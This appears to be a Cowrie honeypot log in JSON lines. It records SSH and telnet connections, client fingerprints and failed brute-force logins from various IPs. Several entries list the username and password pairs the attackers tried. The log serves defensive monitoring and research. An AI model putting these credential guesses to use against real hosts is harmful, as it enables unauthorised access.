{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:04:32:9e:58:ad:d5:08:8f:7b:f4:da:a8:8b:f4:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIybqz584RmvMqjS7/F61TTZJ+1YQrJnoi8ddQ2ftVDI1ey88W8k7zvwlI2WE2grPrnG8vdG1b+EiMvFBcQN3BG+EhDKw0Ge3tz5FL5Mvu3z8gLqfK/jI4CqpPspRJ3Jr69CVGxm9MSUJtOyNkEoamn0l1I0J2YahSRp1x3R5wCqt4Q+hZuar075AOKtOYTsPgbtJuVwDwAbrxyGBsEUvKyMUEPlkPmy2VkTzSOo5Wtei0B+OA7STDpjgeOhv5z3/xSnWKF0YKVWhGMHJPMhUQX6ysW3OF8FJIlUtO0GCEOkeIBiW6tVTIbXeuVoFXP/sHcREjmQNKWfefDX3/osfyuPDsLWaZLWWv7MPNEaOofzbC0rELmhBrk+cqAllOY4aN6odeZOv/iWRNyF8KoTYGsTL0DUwr9aAOdpbRXyNRBmbFtRy4iB4yUdLYleM4g8gpZeygkaavvSWhEPDGaOrhzGkwyw7yhv6pFgi/GCQj7L0L/8V8M1hK55KzIdiOXfmEbQxjpj0QBXPBK6bscAIGJ0vccMszMVw9x+eyldb9YBh5AiyU4wID9RX8zvXf5F+gmvUTaxCHtkM5UOz39aTGDvFxf/Tik3en3tZBi0KCHuaq56hKKBZZd+0jTxL9lyg3urYU3UJ4z3VGjSwgWWkefyVn7O+jpdJaca0XKUSVyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:04:32:9e:58:ad:d5:08:8f:7b:f4:da:a8:8b:f4:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.102319Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:04:32:9e:58:ad:d5:08:8f:7b:f4:da:a8:8b:f4:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIybqz584RmvMqjS7/F61TTZJ+1YQrJnoi8ddQ2ftVDI1ey88W8k7zvwlI2WE2grPrnG8vdG1b+EiMvFBcQN3BG+EhDKw0Ge3tz5FL5Mvu3z8gLqfK/jI4CqpPspRJ3Jr69CVGxm9MSUJtOyNkEoamn0l1I0J2YahSRp1x3R5wCqt4Q+hZuar075AOKtOYTsPgbtJuVwDwAbrxyGBsEUvKyMUEPlkPmy2VkTzSOo5Wtei0B+OA7STDpjgeOhv5z3/xSnWKF0YKVWhGMHJPMhUQX6ysW3OF8FJIlUtO0GCEOkeIBiW6tVTIbXeuVoFXP/sHcREjmQNKWfefDX3/osfyuPDsLWaZLWWv7MPNEaOofzbC0rELmhBrk+cqAllOY4aN6odeZOv/iWRNyF8KoTYGsTL0DUwr9aAOdpbRXyNRBmbFtRy4iB4yUdLYleM4g8gpZeygkaavvSWhEPDGaOrhzGkwyw7yhv6pFgi/GCQj7L0L/8V8M1hK55KzIdiOXfmEbQxjpj0QBXPBK6bscAIGJ0vccMszMVw9x+eyldb9YBh5AiyU4wID9RX8zvXf5F+gmvUTaxCHtkM5UOz39aTGDvFxf/Tik3en3tZBi0KCHuaq56hKKBZZd+0jTxL9lyg3urYU3UJ4z3VGjSwgWWkefyVn7O+jpdJaca0XKUSVyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.105378Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:92:ef:9c:32:6e:4b:27:08:58:7c:ab:59:4d:b9:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3QmiU6/LE6jmR8EIHuflQSTz1njIb97LBqNmRPGPeRcieNwEWXxBbSEWMBYi5Mg54+MauNHd3Gvyxw8G6cLvuh3MbcmC7tYZjNXuwyDdmxM0QCSd59yyQqow11TfLKQGQjV77kawgCSKUk+w0kocdQw2HVzTWuqbbL6FUKXDJpsC9N+Zq+2OSWB58KXjI/oLbMf1cmEI4K27HziF1Ahrfha2jeVQIJr5tbK/oRWUN2YfGoI8Eh4/5UjKDwqZDl7vWryBoDUFB6MifWEPYmhIIMjdXFsxV2gpC1t8NvnGcPK73wAb0XkERo4J29KXd2HwV+L22WPrPQx7IzLObf52R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:92:ef:9c:32:6e:4b:27:08:58:7c:ab:59:4d:b9:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.117189Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:92:ef:9c:32:6e:4b:27:08:58:7c:ab:59:4d:b9:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3QmiU6/LE6jmR8EIHuflQSTz1njIb97LBqNmRPGPeRcieNwEWXxBbSEWMBYi5Mg54+MauNHd3Gvyxw8G6cLvuh3MbcmC7tYZjNXuwyDdmxM0QCSd59yyQqow11TfLKQGQjV77kawgCSKUk+w0kocdQw2HVzTWuqbbL6FUKXDJpsC9N+Zq+2OSWB58KXjI/oLbMf1cmEI4K27HziF1Ahrfha2jeVQIJr5tbK/oRWUN2YfGoI8Eh4/5UjKDwqZDl7vWryBoDUFB6MifWEPYmhIIMjdXFsxV2gpC1t8NvnGcPK73wAb0XkERo4J29KXd2HwV+L22WPrPQx7IzLObf52R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.122185Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:56:59:b8:85:c8:9c:58:56:42:38:7b:5c:f8:75:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC20CvXOVwQrkv5HGILhkVOrPM2/ZtbDQPPgTK3RMCMLHhYcZXsw1IgWlgT6SIQ/vYQFHwia9gAlxk/TG3w+pOUaZXx6oS0YSD0sJmIyem18tvGgI6gTVSvIERTWBlMcEnbRXT+UhMTHXi8+18JpffGdFBkLtj6JHBfcmy27dMPU4J22kQl+WAlE0oitThaZJr1qMddl+K5BUh87UVjJEYHiLXkZdhpTG3UBORfyJza6NpuYvveMX6uxBZoUY3CUp8jbqZiQwFOq7sBEysce757JH+bGoUq9Nr+YUtMSIRa4E73Dd3BWzsgAmIExoVz2NlX1GMPv0uNrzgSXA+aYPeh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:56:59:b8:85:c8:9c:58:56:42:38:7b:5c:f8:75:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.130064Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:56:59:b8:85:c8:9c:58:56:42:38:7b:5c:f8:75:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC20CvXOVwQrkv5HGILhkVOrPM2/ZtbDQPPgTK3RMCMLHhYcZXsw1IgWlgT6SIQ/vYQFHwia9gAlxk/TG3w+pOUaZXx6oS0YSD0sJmIyem18tvGgI6gTVSvIERTWBlMcEnbRXT+UhMTHXi8+18JpffGdFBkLtj6JHBfcmy27dMPU4J22kQl+WAlE0oitThaZJr1qMddl+K5BUh87UVjJEYHiLXkZdhpTG3UBORfyJza6NpuYvveMX6uxBZoUY3CUp8jbqZiQwFOq7sBEysce757JH+bGoUq9Nr+YUtMSIRa4E73Dd3BWzsgAmIExoVz2NlX1GMPv0uNrzgSXA+aYPeh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.132894Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.139641Z","src_ip":"45.55.185.228","session":"42ffb7e6e5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geminiwallet","password":"gemini123","message":"login attempt [geminiwallet/gemini123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:18.225890Z","src_ip":"162.144.64.128","session":"7d0d7452393a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:20.196236Z","src_ip":"162.144.64.128","session":"7d0d7452393a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":16215,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c54f782727b","protocol":"ssh","message":"New connection: 180.247.63.92:16215 (10.17.0.5:22) [session: 3c54f782727b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:24.217916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:24.222264Z","src_ip":"180.247.63.92","session":"3c54f782727b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:24.486226Z","src_ip":"180.247.63.92","session":"3c54f782727b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":44916,"dst_ip":"10.17.0.5","dst_port":22,"session":"2747f7861a02","protocol":"ssh","message":"New connection: 210.90.155.178:44916 (10.17.0.5:22) [session: 2747f7861a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:25.362403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:25.366516Z","src_ip":"210.90.155.178","session":"2747f7861a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss#123456","message":"login attempt [root/Ss#123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:25.571870Z","src_ip":"180.247.63.92","session":"3c54f782727b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:25.579467Z","src_ip":"210.90.155.178","session":"2747f7861a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"password","message":"login attempt [test3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:26.414531Z","src_ip":"210.90.155.178","session":"2747f7861a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47274,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5a03454fb1","protocol":"telnet","message":"New connection: 170.64.224.25:47274 (159.203.135.109:23) [session: 3c5a03454fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:26.750851Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:26.840743Z","src_ip":"180.247.63.92","session":"3c54f782727b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:27.616854Z","src_ip":"210.90.155.178","session":"2747f7861a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35604,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d88d798975b","protocol":"telnet","message":"New connection: 170.64.224.25:35604 (159.203.135.109:23) [session: 6d88d798975b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:30.117947Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54056,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba76161b48c6","protocol":"telnet","message":"New connection: 170.64.224.25:54056 (159.203.135.109:23) [session: ba76161b48c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:41.430560Z"}
{"eventid":"cowrie.session.closed","duration":56.08294057846069,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:49.829942Z","src_ip":"170.64.224.25","session":"cf15e015f139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.575031042099,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:42:52.506289Z","src_ip":"170.64.224.25","session":"15b47807fd4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":9017,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d6d93299d8","protocol":"ssh","message":"New connection: 178.20.210.208:9017 (159.203.135.109:22) [session: 88d6d93299d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:15.166992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:15.203303Z","src_ip":"178.20.210.208","session":"88d6d93299d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:15.269076Z","src_ip":"178.20.210.208","session":"88d6d93299d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2zaq","message":"login attempt [root/1qaz2zaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:15.653852Z","src_ip":"178.20.210.208","session":"88d6d93299d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:16.754532Z","src_ip":"178.20.210.208","session":"88d6d93299d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":37466,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c55edadb2c4","protocol":"ssh","message":"New connection: 185.242.3.195:37466 (159.203.135.109:22) [session: 3c55edadb2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:20.854069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:20.858847Z","src_ip":"185.242.3.195","session":"3c55edadb2c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:20.950354Z","src_ip":"185.242.3.195","session":"3c55edadb2c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"office","password":"office","message":"login attempt [office/office] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:21.421872Z","src_ip":"185.242.3.195","session":"3c55edadb2c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.936654567718506,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:21.687266Z","src_ip":"170.64.224.25","session":"3c5a03454fb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:22.734417Z","src_ip":"185.242.3.195","session":"3c55edadb2c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.87677216529846,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:26.994590Z","src_ip":"170.64.224.25","session":"6d88d798975b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.167614221572876,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:28.598060Z","src_ip":"170.64.224.25","session":"ba76161b48c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":56744,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81ac07efa19","protocol":"ssh","message":"New connection: 103.98.149.87:56744 (10.17.0.5:22) [session: e81ac07efa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:29.063156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:29.067930Z","src_ip":"103.98.149.87","session":"e81ac07efa19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:29.286464Z","src_ip":"103.98.149.87","session":"e81ac07efa19","protocol":"ssh"}
